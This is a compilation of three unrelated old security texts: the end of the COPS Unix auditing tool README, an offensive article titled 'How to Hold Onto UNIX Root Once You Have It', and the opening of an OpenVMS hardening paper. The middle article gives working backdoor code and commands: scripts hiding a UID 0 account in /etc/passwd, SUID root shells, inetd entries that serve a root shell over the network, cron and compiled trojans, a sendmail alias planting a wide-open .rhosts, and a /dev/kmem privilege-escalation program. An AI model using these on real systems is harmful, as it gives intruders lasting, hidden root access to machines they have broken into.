that were already checked with an inferior method will not be checked again
until they change their password.  See the file "passwords" in the
"extensions" directory for a replacement "passwd" program, that can disallow
poor passwords to begin with.

   The file "is_able.lst" contains a list of files that are to be checked
for world readability and/or writability; look at the file; add or delete
any files you feel are important to your system.

   After running COPS, if any warnings are given that compromise any
individual users accounts (such as world writable .profiles, home
directories, guessed passwords, etc.), and the warnings are not corrected
immediately (or you are not sure whether or not it is worth hassling
the user to change it), try this:

   Edit the file "init_kuang", and add the compromised user(s) uids and
groups in their respective target lines (below lines 20 and 27,
respectively), and run kuang again to see if the users can compromise
the entire system.  You may change your mind about not thinking
they are a problem!  In addition, kuang does not have to have "root" 
as a target (the last line).  Try putting in system administrators or
other powerful figures to see if they are in danger as well.  If you
have "perl" installed on your system, try the perl version of kuang --
"kuang.pl" (you'll have to unpack the shar file this is inside --
"kuang.pl.shar", and you may have to edit the first line of the file
"kuang.pl", to reflect where the location that perl is on your system.)

6) Disclaimer and End Notes
----------------------------

   COPS is meant to be a tool to aid in the tightening of security, not
as a weapon to be used by an enemy to find security flaws in a system.
It may be argued that allowing anyone to have access to such a tool may
be dangerous.  But hopefully the overall benefit for systems that use
this package will outweigh any negative impact.  To me it is akin to a
law enforcement problem -- that although telling the public how to break
into a house may foster a slight rise in break-in attempts, the overall
rise in public awareness on how to defend themselves would actually result
in a drop in break-ins.  The crackers with black hats already know how
to crush system defenses and have similar tools, I'm sure.  It's time
we fought back.

  COPS is not the final answer to anyone's security woes.  You can use
the system as long as you realize that COPS has no warranty, implied
or otherwise, and that any problems that you may have with it are
not my or any of the other authors' fault.  I will certainly attempt to
help you solve them, if I am able.  If you have ideas for additional
programs, or a better implementation of any of the programs here, I would
be very interested in seeing them.  COPS was the work of a LOT of people,
both in writing code and in the testing phase (thanks beta testers!).  For
a complete list of contributors, look at the file "XTRA_CREDIT".

   So good luck, and I hope you find COPS useful as we plunge into UNIX
of the 1990's.

   dan farmer
   January 31, 1989
   (Now January 31, 1990)

# include "./disclaimer"

  Just for snix, here are some of the machine/OS's I know this sucker works
on; far and away the most common problem was getting that stupid password
cracking program to compile, followed by systems without the -ms package to
nroff.  Some minor problems with config files -- I *think* these are all
ok:

DECstation 2100, 3100, 5000, Ultrix 2.x, 3.x, 4.x
(It should, I'm sitting in front of one now.  Ultrix is braindead)

Sun 3's, 4's (incl. Solbourne) -- 3.x, 4.x
Gould 9080 Powernode, hacked up Gould OS (whatever it is)
sequent S-87 symmetry, dynix V3.0.12 (both att & bsd universes; att required
                       "BRAINDEADFLAGS = -lcrypt" to be uncommented.
eta-10P, Sys V R3 based
Convex boxes, all types, most OS's (up to 9.x, the most recent)
Apollo dn3000 & dsp90, Domain SR 9.7
Vax 11/780, 4.3 BSD (Mt. Xinu, tahoe and stock)
Vaxstation, MicroVax, Vax 6320 & 8800, Ultrix 2.0, 3.x
HP900/370, HP-UX 6.5
Cray 2 & Y-MP, UNICOS 5.0, 6.0
Amdahl 5880, UTS 580-1.2.3
SGI 2500's, IRIX GL 3.6
SGI 4D's, IRIX System V Release 3.X
'286 & '386 Boxes, running Xenix (README.xenix)

Apple Mac IIci, running AUX 2.x.  The "test -z" seemed broken on this, but I
only had a brief chance to test it out, but kuang didn't like it as a result.
I'll get a working version soon; everything seemed ok (change the /etc/servers
line in "misc.chk".)

NeXT, 1.x
(password stuff is different on this machine, tho; cracking is strange.  Diffs?)

Multimax 320, 12 Processors, 64Mb Memory, Encore Mach Version B1.0c (Beta)
(no crypt(3) on this machine.  Sigh.)

IBM rs6000, AIX 3.1 (BRAINDEAD -- boo.  hiss.)
COPS will *NOT* work well on this piece of trash -- the shell utilities are
garbage; however, you can still get *some* useful info.  I'm not going to
rewrite everything because big-blue won't write an awk that works:



How to Hold Onto UNIX Root Once You Have It

Ok..... You've been at it for all night. Trying all the exploits you can think of. The system seems tight. The system looks tight.
The system *is* tight. You've tried everything. Default passwds, guessable passwds, NIS weaknesses, NFS holes, incorrect
permissions, race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT! What's that!?!? A "#" ???? Finally!
After seeming endless toiling, you've managed to steal root. Now what? How do you hold onto this precious super-user
privilege you have worked so hard to achieve....? 

This article is intended to show you how to hold onto root once you have it. It is intended for hackers and administrators alike.
From a hacking perspective, it is obvious what good this paper will do you. Admin's can likewise benefit from this paper. Ever
wonder how that pesky hacker always manages to pop up, even when you think you've completely eradicated him from your
system?
This list is BY NO MEANS comprehensive. There are as many ways to leave backdoors into a UNIX computer as there are
ways into one. 

Beforehand

Know the location of critical system files. This should be obvious (If you can't list any of the top of your head, stop reading
now, get a book on UNIX, read it, then come back to me...). Familiarity with passwd file formats (including general 7 field
format, system specific naming conventions, shadowing mechanisms, etc...). Know vi. Many systems will not have those
robust, user-friendly editors such as Pico and Emacs. Vi is also quite useful for needing to quickly seach and edit a large file. If
you are connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to have a robust terminal program that has a
nice, FAT scrollback buffer. This will come in handy if you want to cut and paste code, rc files, shell scripts, etc...

The permenance of these backdoors will depend completely on the technical saavy of the administrator. The experienced and
skilled administrator will be wise to many (if not all) of these backdoors. But, if you have managed to steal root, it is likely the
admin isn't as skilled (or up to date on bug reports) as she should be, and many of these doors may be in place for some time
to come. One major thing to be aware of, is the fact that if you can cover you tracks during the initial break-in, no one will be
looking for back doors.

The Overt

[1] Add a UID 0 account to the passwd file. This is probably the most obvious and quickly discovered method of rentry. It
flies a red flag to the admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO NOT simply
prepend or append it. Anyone causally examining the passwd file will see this. So, why not stick it in the middle... 

#!/bin/csh
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED.  Oh well.
# daemon9@netcom.com

set linecount = `wc -l /etc/passwd`
cd                                      # Do this at home.
cp /etc/passwd ./temppass               # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1                     # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass         # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd                   # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...

NEVER, EVER, change the root password. The reasons are obvious. 

[2] In a similar vein, enable a disabled account as UID 0, such as Sync. Or, perhaps, an account somwhere buried deep in the
passwd file has been abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove the '*' from the second
field). 

[3] Leave an SUID root shell in /tmp. 

#!/bin/sh
# Everyone's favorite...

cp /bin/csh /tmp/.evilnaughtyshell      # Don't name it that...
chmod 4755 /tmp/.evilnaughtyshell

Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmp mounted
to disallow SUID programs from executing. You can change all of these, but if the filesystem starts filling up, people may
notice...but, hey, this *is* the overt section....). I will not detail the changes neccessary because they can be quite system
specific. Check out /var/spool/cron/crontabs/root and /etc/fstab. 

The Veiled

[4] The super-server configuration file is not the first place a sysadmin will look, so why not put one there? First, some
background info: The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP ports and spawns the
appropriate program (usally a server) when a connection request arrives. The format of the /etc/inetd.conf file is simple. Typical
lines look like this:

(1)     (2)     (3)     (4)     (5)     (6)             (7)
ftp     stream  tcp     nowait  root    /usr/etc/ftpd   ftpd
talk    dgram   udp     wait    root    /usr/etc/ntalkd ntalkd

Field (1) is the daemon name that should appear in /etc/services. This tells inetd what to look for in /etc/services to determine
which port it should associate the program name with. (2) tells inetd which type of socket connection the daemon will expect.
TCP uses streams, and UDP uses datagrams. Field (3) is the protocol field which is either of the two transport protocols, TCP
or UDP. Field (4) specifies whether or not the daemon is iterative or concurrent. A 'wait' flag indicates that the server will
process a connection and make all subsequent connections wait. 'Nowait' means the server will accept a connection, spawn a
child process to handle the connection, and then go back to sleep, waiting for further connections. Field (5) is the user (or more
inportantly, the UID) that the daemon is run as. (6) is the program to run when a connection arrives, and (7) is the actual
command (and optional arguments). If the program is trivial (usally requiring no user interaction) inetd may handle it internally.
This is done with an 'internal' flag in fields (6) and (7).
So, to install a handy backdoor, choose a service that is not used often, and replace the daemon that would normally handle it
with something else. A program that creates an SUID root shell, a program that adds a root account for you in the /etc/passwd
file, etc...
For the insinuation-impaired, try this: 

Open the /etc/inetd.conf in an available editor. Find the line that reads: 

        daytime stream  tcp     nowait  root    internal

and change it to: 

        daytime stream  tcp     nowait /bin/sh  sh -i.  

You now need to restart /etc/inetd so it will reread the config file. It is up to you how you want to do this. You can kill and
restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL network connections (so it is a good idea
to do this off peak hours).

[5] An option to compromising a well known service would be to install a new one, that runs a program of your choice. One
simple solution is to set up a shell the runs similar to the above backdoor. You need to make sure the entry appears in
/etc/services as well as in /etc/inetd.conf. The format of the /etc/services file is simple: 

(1)       (2)/(3)          (4)
smtp      25/tcp           mail    

Field (1) is the service, field (2) is the port number, (3) is the protocol type the service expects, and (4) is the common name
associated with the service. For instance, add this line to /etc/services:

        evil    22/tcp          evil

and this line to /etc/inetd.conf: 

        evil    stream  tcp     nowait  /bin/sh sh -i

Restart inetd as before. 

Note: Potentially, these are a VERY powerful backdoors. They not only offer local rentry from any account on the system,
they offer rentry from *any* account on *any* computer on the Internet. 

[6] Cron-based trojan I. Cron is a wonderful system administration tool. It is also a wonderful tool for backdoors, since root's
crontab will, well, run as root... Again, depending on the level of experience of the sysadmin (and the implementation), this
backdoor may or may not last. /var/spool/cron/crontabs/root is where root's list for crontabs is usally located. Here, you have
several options. I will list a only few, as cron-based backdoors are only limited by your imagination. Cron is the clock daemon.
It is a tool for automatically executing commands at specified dates and times. Crontab is the command used to add, remove,
or view your crontab entries. It is just as easy to manually edit the /var/spool/crontab/root file as it is to use crontab. A crontab
entry has six fields:

(1)     (2)     (3)     (4)     (5)     (6)
 0       0       *       *       1       /usr/bin/updatedb      

Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12), day of the week
(0-6). Field (6) is the command (or shell script) to execute. The above shell script is executed on Mondays. To exploit cron,
simply add an entry into /var/spool/crontab/root. For example: You can have a cronjob that will run daily and look in the
/etc/passwd file for the UID 0 account we previously added, and add him if he is missing, or do nothing otherwise (it may not
be a bad idea to actually *insert* this shell code into an already installed crontab entry shell script, to further obfuscate your
shady intentions). Add this line to /var/spool/crontab/root: 

        0       0       *       *       *       /usr/bin/trojancode

This is the shell script: 

#!/bin/csh
# Is our eviluser still on the system?  Let's make sure he is.
#daemon9@netcom.com

set evilflag = (`grep eviluser /etc/passwd`)    

if($#evilflag == 0) then                        # Is he there?

        set linecount = `wc -l /etc/passwd`
        cd                                      # Do this at home.
        cp /etc/passwd ./temppass               # Safety first.
        @ linecount[1] /= 2
        @ linecount[1] += 1                     # we only want 2 temp files
        split -$linecount[1] ./temppass         # passwd string optional
        echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
        cat ./xab >> ./xaa
        mv ./xaa /etc/passwd
        chmod 644 /etc/passwd                   # or whatever it was beforehand
        rm ./xa* ./temppass
        echo Done...
else
endif   

[7] Cron-based trojan II. This one was brought to my attention by our very own Mr. Zippy. For this, you need a copy of the
/etc/passwd file hidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we have but one entry, a root
account with a passwd of your choosing. We run a cronjob that will, every morning at 2:30am (or every other morning), save a
copy of the real /etc/passwd file, and install this trojan one as the real /etc/passwd file for one minute (synchronize swatches!).
Any normal user or process trying to login or access the /etc/passwd file would get an error, but one minute later, everything
would be ok. Add this line to root's crontab file:

        29      2       *       *       *       /bin/usr/sneakysneaky_passwd

make sure this exists: 

#echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky

and this is the simple shell script: 

#!/bin/csh
# Install trojan /etc/passwd file for one minute
#daemon9@netcom.com

cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.sneaky /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd

[8] Compiled code trojan. Simple idea. Instead of a shell script, have some nice C code to obfuscate the effects. Here it is.
Make sure it runs as root. Name it something innocous. Hide it well. 

/* A little trojan to create an SUID root shell, if the proper argument is
given.  C code, rather than shell to hide obvious it's effects. */
/* daemon9@netcom.com */

#include

#define KEYWORD "industry3"
#define BUFFERSIZE 10   

int main(argc, argv)
int argc;
char *argv[];{

        int i=0;

        if(argv[1]){            /* we've got an argument, is it the keyword? */

                if(!(strcmp(KEYWORD,argv[1]))){

                                /* This is the trojan part. */
                        system("cp /bin/csh /bin/.swp121");
                        system("chown root /bin/.swp121");
                        system("chmod 4755 /bin/.swp121");
                }
        }
                                /* Put your possibly system specific trojan
                                   messages here */
                                /* Let's look like we're doing something... */
        printf("Sychronizing bitmap image records.");
        /* system("ls -alR / >& /dev/null > /dev/null&"); */
        for(;i<10;i++){ 
                fprintf(stderr,".");            
                sleep(1);
        } 
        printf("\nDone.\n");
        return(0);
} /* End main */

[9] The sendmail aliases file. The sendmail aliases file allows for mail sent to a particular username to either expand to several
users, or perhaps pipe the output to a program. Most well known of these is the uudecode alias trojan. Simply add the line: 

 "decode: "|/usr/bin/uudecode"

to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts file with the full pathname embedded. 

#! /bin/csh

# Create our .rhosts file.  Note this will output to stdout.

echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts

Next telnet to the desired site, port 25. Simply fakemail to decode and use as the subject body, the uuencoded version of the
.rhosts file. For a one liner (not faked, however) do this: 

%echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com

You can be as creative as you wish in this case. You can setup an alias that, when mailed to, will run a program of your
choosing. Many of the previous scripts and methods can be employed here. 

The Covert

[10] Trojan code in common programs. This is a rather sneaky method that is really only detectable by programs such tripwire.
The idea is simple: insert trojan code in the source of a commonly used program. Some of most useful programs to us in this
case are su, login and passwd because they already run SUID root, and need no permission modification. Below are some
general examples of what you would want to do, after obtaining the correct sourcecode for the particular flavor of UNIX you
are backdooring. (Note: This may not always be possible, as some UNIX vendors are not so generous with thier sourcecode.)
Since the code is very lengthy and different for many flavors, I will just include basic psuedo-code: 

get input;
if input is special hardcoded flag, spawn evil trojan;
else if input is valid, continue;
else quit with error;
...

Not complex or difficult. Trojans of this nature can be done in less than 10 lines of additional code. 

The Esoteric

[11] /dev/kmem exploit. It represents the virtual of the system. Since the kernel keeps it's parameters in memory, it is possible
to modify the memory of the machine to change the UID of your processes. To do so requires that /dev/kmem have read/write
permission. The following steps are executed: Open the /dev/kmem device, seek to your page in memory, overwrite the UID of
your current process, then spawn a csh, which will inherit this UID. The following program does just that. 

/* If /kmem is is readable and writable, this program will change the user's 
UID and GID to 0.  */
/* This code originally appeared in "UNIX security:  A practical tutorial" 
with some modifications by daemon9@netcom.com */

#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define KEYWORD "nomenclature1"

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{

        int count, fd;
        long where, lseek();

        if(argv[1]){            /* we've got an argument, is it the keyword? */
                if(!(strcmp(KEYWORD,argv[1]))){
                        fd=(open("/dev/kmem",O_RDWR);

                        if(fd<0){
                                printf("Cannot read or write to /dev/kmem\n");
                                perror(argv);
                                exit(10);       
                        }

                        userlocation=address();
                        where=(lseek(fd,userlocation,0);

                        if(where!=userlocation){
                                printf("Cannot seek to user page\n");
                                perror(argv);
                                exit(20); 
                        }

                        count=read(fd,&userpage,sizeof(struct user));

                        if(count!=sizeof(struct user)){
                                printf("Cannot read user page\n");
                                perror(argv);
                                exit(30);
                        }       

                        printf("Current UID: %d\n",userpage.u_ruid);
                        printf("Current GID: %d\n",userpage.g_ruid);

                        userpage.u_ruid=0;
                        userpage.u_rgid=0;

                        where=lseek(fd,userlocation,0);

                        if(where!=userlocation){        
                                printf("Cannot seek to user page\n");
                                perror(argv);
                                exit(40); 
                        }

                        write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));

                        execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
                }
        } 

} /* End main */

#include 
#include 
#include 

#define LNULL ((LDFILE *)0)

long address(){

        LDFILE *object;
        SYMENT symbol;
        long idx=0;

        object=ldopen("/unix",LNULL);

        if(!object){
                fprintf(stderr,"Cannot open /unix.\n");
                exit(50);
        }

        for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
                if(!strcmp("_u",ldgetname(object,&symbol))){
                        fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
                        ldclose(object);
                        return(symbol.n_value);
                }
        }

        fprintf(stderr,"Cannot read symbol table in /unix.\n");
        exit(60);
}

[12] Since the previous code requires /dev/kmem to be world accessable, and this is not likely a natural event, we need to take
care of this. My advice is to write a shell script similar to the one in [7] that will change the permissions on /dev/kmem for a
discrete amount of time (say 5 minutes) and then restore the original permissions. You can add this source to the source in [7]: 

chmod 666 /dev/kmem
sleep 300               # Nap for 5 minutes
chmod 600 /dev/kmem     # Or whatever it was before

From The Infinity Concept Issue II

A Practical Exercise in Securing an OpenVMS System by Rob McMillan

   

                      A Practical Exercise in

                    Securing an OpenVMS System

                           Rob McMillan
                          Prentice Centre
                   The University Of Queensland

                    Now at Griffith University
                 E-Mail: R.McMillan@itc.gu.edu.au
                        Phone: 07 875 6557
             Postal: Information Technology Services
                       Griffith University
                          Nathan Qld 4111

        A Practical Exercise In Securing An OpenVMS System

                             Abstract

   _________________________________________________________

   OpenVMS  machines have many features that can be used  to
   defend   them  from  attack.  To  properly  defend   your
   machine, you need to make use of these features from  the
   moment of delivery.

   In  this paper, I present the series of steps taken by  a
   typical systems programmer (namely the author) in  tuning
   the   defense  mechanisms  of  an  OpenVMS  machine,  and
   outline  some  non-standard mechanisms  employed  in  the
   defence of this machine.

   All  too often, emphasis is placed on particular accents,
   such  as  access prevention, or reactive examination  and
   monitoring  after  attack. This  paper  attempts  a  more
   holistic  approach  to  the  host-based  mechanisms  that
   could  be  employed to defend a machine.  Access  control
   mechanisms   (such   as  passwords,  user   authorisation
   parameters,  and  access control wrappers)  and  activity
   logging   mechanisms  (such  as  audit  trails,  terminal
   monitors and FAL logging) are considered.
   _________________________________________________________

   The information contained in this paper is given freely
   as  an account of my own experience, and may be used by
   the reader as the reader sees fit.

   No  responsibility or liability will be accepted by the
   author for any damages caused by direct or indirect use
   of  the information or functionality described in  this
   paper.

                           Introduction

   1.1 Assumptions

   This paper will discuss some of the features that can  be
   used  to  defend an OpenVMS machine from outside  attack.
   The  ideas presented in this paper are the result  of  an
   exercise   in  configuring  a  machine  in  a  university
   department used for a sensitive research project.

   All  of  the mechanisms I consider in this paper  can  be
   classed  as  host based mechanisms. However, the  defence
   of  an  computer system is not limited to these  measures
   only.

   Measures  that  should be used, but that I don't  discuss
   in this paper are:

        * network based security,
        * backups, and
        * physical security.

   This  paper is not intended to present an "expert's view"
   of  securing an OpenVMS machine. The reason for  this  is
   simple  -  whilst  my  knowledge of OpenVMS  security  is
   quite  solid,  I  would not put myself  in  the  "expert"
   category. Therefore this paper should not be seen as  the
   canonical  guide to OpenVMS security - rather, it  should
   be  seen  as  the  series  of measures  that  programmers
   should  typically  consider in defending  their  machine.
   There  is absolutely no substitute for reading the  Guide
   to VAX/VMS System Security manual.

   Finally,  this paper is concerned with the defence  of  a
   machine.  I do not personally make any attempt  to  crack
   machines.  I will not present any information on  how  to
   crack an OpenVMS machine.

   1.2 What This Paper Contains

   The  following  topics  are those considered  during  the
   configuration  of  the machine referred  to  above.  This
   list is not exhaustive.

     * System Mechanisms For Configuring The Machine To
       Control Access :

       * SYS$MANAGER Command Files
       * Welcome Messages
       * Accounts To Disable, Passwords To Change, And
         Objects To Modify
       * System Logicals And Logical Definitions
       * System Passwords
       * The UAF File
       * File Protections
       * ACLs
       * Tailoring UCX
       * Proxies

    * System Mechanisms For Configuring The Machine To Log
      Activity :

       * Accounting
       * Auditing
       * FAL and Poor Man's Routing

     * Using Homegrown Or Publicly Available Software :

       * Wrappers
       * Single Use PINs
       * Terminal Monitors

     * Monitoring The Use of The Machine :

       * The SHOW INTRUSION Command
       * Daily Activities
       * Having a Live Console

                 System Mechanisms For Configuring
                   The Machine To Control Access

   2.1 SYS$MANAGER Command Files

   There  are  three  files  in  SYS$MANAGER:  that  are  of
   importance   in   terms   of   this   paper.   They   are
   SYSTARTUP_V5.COM, SYLOGIN.COM and SYLOGICALS.COM. I  have
   left  comments  about  SYLOGICALS.COM  for  Section  2.4,
   System Logicals And Logical Definitions.

   2.1.1 SYSTARTUP_V5.COM

   There are several different things to be done here.

   As  discussed in Section 2.5, System Passwords, a  system
   password  should  be installed. A system  password  means
   that  the  user  must enter a password before  the  login
   prompt   appears.  The  procedure  for  doing   this   is
   discussed  in  Section 2.5. However, this is  the  change
   you  could  make  in SYSTARTUP_V5.COM to  ensure  that  a
   console  user  does not need to enter the password.  (The
   console should be located in a physically secure area.)

    $! No system password required for console.
    $ write sys$output "[Modifying console settings]"
    $ SET TERMINAL OPA0: /PERMANENT /NOSYSPASSWORD

   This  ensures  that  should the  user  log  in  from  the
   console,  a  system password will not be  required.  This
   prevents  situations where you are locked  out  from  the
   machine should the password be changed or forgotten.

    $! The following commands turn off account logging and 
    $! delete the account log.
    $! To keep an account log on your system, delete the
    $! following 5 command lines.
    $!
    $! IF (.NOT. MICROVAX) THEN GOTO SKIP_ACCOUNTING
    $! SET ACCOUNTING/DISABLE
    $! IF F$SEARCH("SYS$MANAGER:ACCOUNTNG.DAT") .NES. "" THEN -
    $!  DELETE SYS$MANAGER:ACCOUNTNG.DAT;*
    $!SKIP_ACCOUNTING:

   When the operating system is installed, this code is  not
   commented  out. That is, account logging is  not  enabled
   by  default.  It  is  good practice to  use  all  logging
   facilities  available  to you, and system  accounting  is
   one of those facilities that is strongly recommended.

   You  need  accounting to provide an extra audit trail  on
   the  system.  To  enable accounting,  comment  out  these
   lines, as shown on the following page.

    $! The following commands purge the operator and network
    $! logs to two versions.
    $!
    $! IF (.NOT. MICROVAX) THEN GOTO SKIP_PURGING
    $! IF F$SEARCH("SYS$MANAGER:OPERATOR.LOG;-1") .NES. "" THEN -
    $!  PURGE SYS$MANAGER:OPERATOR.LOG
    $! IF F$SEARCH("SYS$MANAGER:EVL.LOG;-1") .NES. "" THEN -
    $!  PURGE SYS$MANAGER:EVL.LOG
    $!SKIP_PURGING:

   Here  the  machine is trying to make a  guess  about  how
   much  information should be saved as current  information
   (the  tradeoff being information currency and  usefulness
   against  disk  space).  A more reasonable  figure  is  10
   versions  (working on the basis of a new file  per  day).
   To implement this, do the following:

      * Comment out the lines above.

       *  Create artificial OPERATOR.LOG and EVL.LOG  files,
          each 1 version higher than the logs currently open
          and in use by the system.

       *  Issue SET FILE OPERATOR.LOG /VERSION_LIMIT=10  and
          SET FILE EVL.LOG /VERSION_LIMIT=10.  This is  done
          against the files just created,  as  the  SET FILE
          command will fail against the logs open and in use
          by  the system.  When new files are opened for use
          by the system, they will be created with a version
          number  of  one   higher  than  the  logs  created
          artificially, but will inherit the version limit.

    $! This command defines a message to be displayed before
    $! each user logs in.
    $!
    $! DEFINE /SYSTEM SYS$ANNOUNCE " Welcome to VAX/VMS ''F$GETSYI("VERSION")'"
    $ DEFINE /SYSTEM SYS$ANNOUNCE "@SYS$MANAGER:ANNOUNCE.TXT"
    $!
    $! This command defines a message or file to be
    $! displayed after each user logs in.
    $!
    $ DEFINE /SYSTEM SYS$WELCOME "@SYS$MANAGER:WELCOME.TXT"
    $!

   For  legal reasons, as set out in SERT Advisory  SA-93.03
   (See  Appendix 1, SERT Advisory SA-93.03, Suggested Login
   Banner)  give people fair warning of the consequences  of
   misuse.  The  contents  of  the  files  ANNOUNCE.TXT  and
   WELCOME.TXT   are  discussed  in  Section  2.2,   Welcome
   Messages.  To  make these files appear,  the  definitions
   above are used.

   2.1.2 SYLOGIN.COM

   SYLOGIN.COM  is  a command file executed  when  any  user
   logs  in.  This is the ideal place to install  mechanisms
   to  universally  check  a  user's  credentials  (such  as
   username,  source of login, time, terminal or  knowledge-
   based authenticators).

   The  first  three  lines  of  SYLOGIN.COM  should  be  as
   follows (but aren't in the supplied file).

    $ SET NOON
    $ SET NOCONTROL_Y
    $ SET NOVERIFY

   This  prevents a user (and hence crackers  in  the  first
   instance)   from   seeing  what   mechanisms   you   have
   installed,  and also interrupting the execution  of  this
   file to avoid these mechanisms.

    $! Place your site-specific LOGIN commands below
    $!
    $! If they get this far, then there may have been a breakin,
    $! but at least we can stop them at this point.
    $! Call the wrapper.
    $!
    $  @LOCAL$WRAP:INTERACTIVE.COM
    $  IF ($Status .NE. %x10000001)
    $  THEN
    $    STOP/ID=0
    $  ENDIF

   As  the  comments outline, we use a command procedure  at
   this  point  to check credentials. This may  or  may  not
   involve  interactive exchanges. If the person logging  in
   fails  to pass the tests, then they are logged out.  (You
   will   need   to  define  LOCAL$WRAP,  for  example,   in
   SYLOGICALS.COM.)

   2.2 Welcome Messages

   For  legal reasons, as set out in SERT Advisory  SA-93.03
   (See  Appendix 1, SERT Advisory SA-93.03, Suggested Login
   Banner)  give people fair warning of the consequences  of
   misuse.  By default, there is no SYS$WELCOME issued,  and
   SYS$ANNOUNCE welcomes the person logging in.  SYS$WELCOME
   needs   to   be  enabled,  and  point  to  a  file,   and
   SYS$ANNOUNCE  should also point to a file  (as  shown  in
   Section  2.1.1,  SYSTARTUP_V5.COM).  These  files  should
   outline   to   people  conditions  of  use,   and   legal
   consequences of misuse.

   SYS$ANNOUNCE  is  the  message  or  banner  that  appears
   immediately  before  the  login  prompt  (but  after  the
   system  password  has been entered). SYS$WELCOME  is  the
   message  or  banner  that appears immediately  after  the
   person  has logged in. In this way, users should normally
   see this warning before and after logging in.

   This message should appear in SYS$MANAGER:ANNOUNCE.TXT:

   ----- Warning Message -----

             ***** This service is for authorised staff only *****

   *************************************************************************
   *                                                                       *
   * WARNING:   It is a criminal offence to:                               *
   *            i. Obtain access to data without authority                 *
   *                    (Penalty 2 years imprisonment)                     *
   *            ii Damage, delete, alter or insert data without authority  *
   *                    (Penalty 10 years imprisonment)                    *
   *                                                                       *
   *************************************************************************

   The     following     message    should     appear     in
   SYS$MANAGER:WELCOME.TXT.

        This is {nodename} (VAX/VMS V5.5-2) - Unauthorised access prohibited!

           ***** This service is for authorised staff only *****

   *************************************************************************
   *                                                                       *
   * WARNING:    It is a criminal offence to:                              *
   *             i. Obtain access to data without authority                *
   *                    (Penalty 2 years imprisonment)                     *
   *             ii Damage, delete, alter or insert data without authority *
   *                    (Penalty 10 years imprisonment)                    *
   *                                                                       *
   *************************************************************************

   2.3 Accounts To Disable, Passwords To Change, And Objects
       To Modify

   2.3.1 Accounts

   VMS  is  supplied with a number of default  accounts.  It
   should   be   assumed  that  crackers  will  attempt   to
   compromise  a  machine using default  account  names  and
   passwords.  This  principle  applies  to  any   operating
   system.

   The   following  default  accounts  should   have   their
   passwords  changed,  and the accounts disabled:  DEFAULT,
   FIELD, MIRRO$SERVER, SYSTEST, SYSTEST_CLIG.

   The accounts can be disabled thus:

    $ MCR AUTHORIZE
    UAF> MODIFY DEFAULT      /FLAGS=DISUSER
    UAF> MODIFY FIELD        /FLAGS=DISUSER
    UAF> MODIFY MIRRO$SERVER /FLAGS=DISUSER
    UAF> MODIFY SYSTEST      /FLAGS=DISUSER
    UAF> MODIFY SYSTEST_CLIG /FLAGS=DISUSER
    UAF> EXIT
    $

   Depending  upon  how you wish to execute batch  jobs  and
   carry  out  general system administration, you  may  also
   wish  to  either similarly treat the SYSTEM  account,  or
   alternative apply strict access controls on this  account
   on the UAF file (See Section 2.6, The UAF File).

   2.3.2 Objects

   There are several objects that needed tailoring. Some  of
   the  tailoring  is  to prevent simple security  breaches,
   whereas  others  (like the modifications to  PHONE,  TASK
   and  FAL)  are  to prevent breaches that could  occur  in
   whole or in part to Poor Man's Routing (See Section  3.3,
   FAL and Poor Man's Routing).

   In  the  first  stage,  the PHONE and  TASK  objects  are
   disabled.

   In  the  PHONE application, the directory command can  be
   used  to  obtain a directory listing of users  on  remote
   DECNet  nodes.  It  is  essentially a  default  "finger".
   Whilst security through obscurity is no security at  all,
   any  access to system details should be suppressed  where
   possible.

   The  TASK  object is used to execute jobs  on  your  node
   from  remote  nodes. Since this is not a desired  feature
   on  the  machine used in the preparation of  this  paper,
   this  object  was  disabled.  Alternatively,  the  object
   could  have been loaded with false information  into  the
   permanent database.

   These  objects  are  created at boot time  using  default
   information if there is no information about them in  the
   NCP  permanent  database. Therefore, a  job  can  be  run
   immediately after booting to remove these objects.

   The objects can be removed thus:

    $ MCR NCP CLEAR OBJECT PHONE ALL
    $ MCR NCP PURGE OBJECT PHONE ALL
    $ MCR NCP CLEAR OBJECT TASK  ALL
    $ MCR NCP PURGE OBJECT TASK  ALL

   They could alternatively be modified thus:

    $ MCR NCP SET    OBJECT TASK  USER  ILLEGAL PASSWORD DISABLED
    $ MCR NCP SET    OBJECT TASK  PROXY NONE
    $ MCR NCP SET    OBJECT TASK  ALIAS INCOMING DISABLED
    $ MCR NCP SET    OBJECT TASK  ALIAS OUTGOING DISABLED
    $ MCR NCP DEFINE OBJECT TASK  USER  ILLEGAL PASSWORD DISABLED
    $ MCR NCP DEFINE OBJECT TASK  PROXY NONE
    $ MCR NCP DEFINE OBJECT TASK  ALIAS INCOMING DISABLED
    $ MCR NCP DEFINE OBJECT TASK  ALIAS OUTGOING DISABLED
    $ MCR NCP SET    OBJECT PHONE USER  ILLEGAL PASSWORD DISABLED
